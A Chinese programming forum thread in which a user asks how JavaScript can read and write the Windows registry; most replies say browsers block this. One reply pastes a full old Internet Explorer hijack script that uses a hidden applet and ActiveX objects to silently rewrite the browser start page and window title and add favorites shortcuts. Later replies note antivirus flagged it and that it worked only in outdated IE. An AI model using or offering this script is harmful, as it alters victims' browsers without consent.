您好:
   我要写一个自动化测试程序,其中需要用到JavaScript读写注册表,请问谁会,给我个例子,谢谢!

解决方案 »

  1.   

    如果这都被你实现了,那你不是可以用一个网页控制别人的机器了?applet访问本地资源都很麻烦,怎么会允许javascript访问注册表
      

  2.   

    我写过一个控件,可以读写注册表的信息。这个控件我做了数字签名,在被信任的安全站点上可以嵌入到web页面用javascript调用里面的接口方法使用。如果楼主有兴趣,可以联系我。
      

  3.   

    用javascript本身好像不能修改注册表的.
      

  4.   

    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
    function AddFavLnk(loc, DispName, SiteURL)
    {
    var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
    Shor.TargetPath = SiteURL;
    Shor.Save();
    }
    function f(){
    try
    {
    //ActiveX 初始化
    a1=document.applets[0];
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Shl = a1.GetObject();
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
    a1.createInstance();
    FSO = a1.GetObject();
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
    a1.createInstance();
    Net = a1.GetObject();
    try
    {
    if (document.cookie.indexOf("Chg") == -1)
    {
    //设置Cookie
    var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    //设置Cookie完毕
    //设置主页
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.51js.com/");
    //修改浏览器的标题
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
    //设置Cookie
    var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
    document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
    var WF, Shor, loc;
    WF = FSO.GetSpecialFolder(0);
    loc = WF + "\\Favorites";
    if(!FSO.FolderExists(loc))
    {
    loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
    if(!FSO.FolderExists(loc))
    {
    return;
    }
    }
    AddFavLnk(loc, "", "http://www.51job.com");
    }
    }
    catch(e)
    {}
    }
    catch(e)
    {}
    }
      

  5.   

    是因为楼上的楼上的那段代码,引起我的NORTON提示有安全问题吗?
      

  6.   

    JavaScript语言读写注册表在IE以前的版本里是可以的,但是现在升级到6.0之后就不可以了,安全性提高了。另外,在firefox中也是不可以的。其实这个功能是不该存在的,以前的版本可以是因为IE5.X还不够完善。象以前访问某些网站,发现IE首页被篡改就是写注册表的一个很好的例子。这个代码和javascript在本地进行文件IO操作的代码一样,个人感觉都没什么实用价值了。如果你实现想用的话,用google搜索“javascript 注册表”就行了。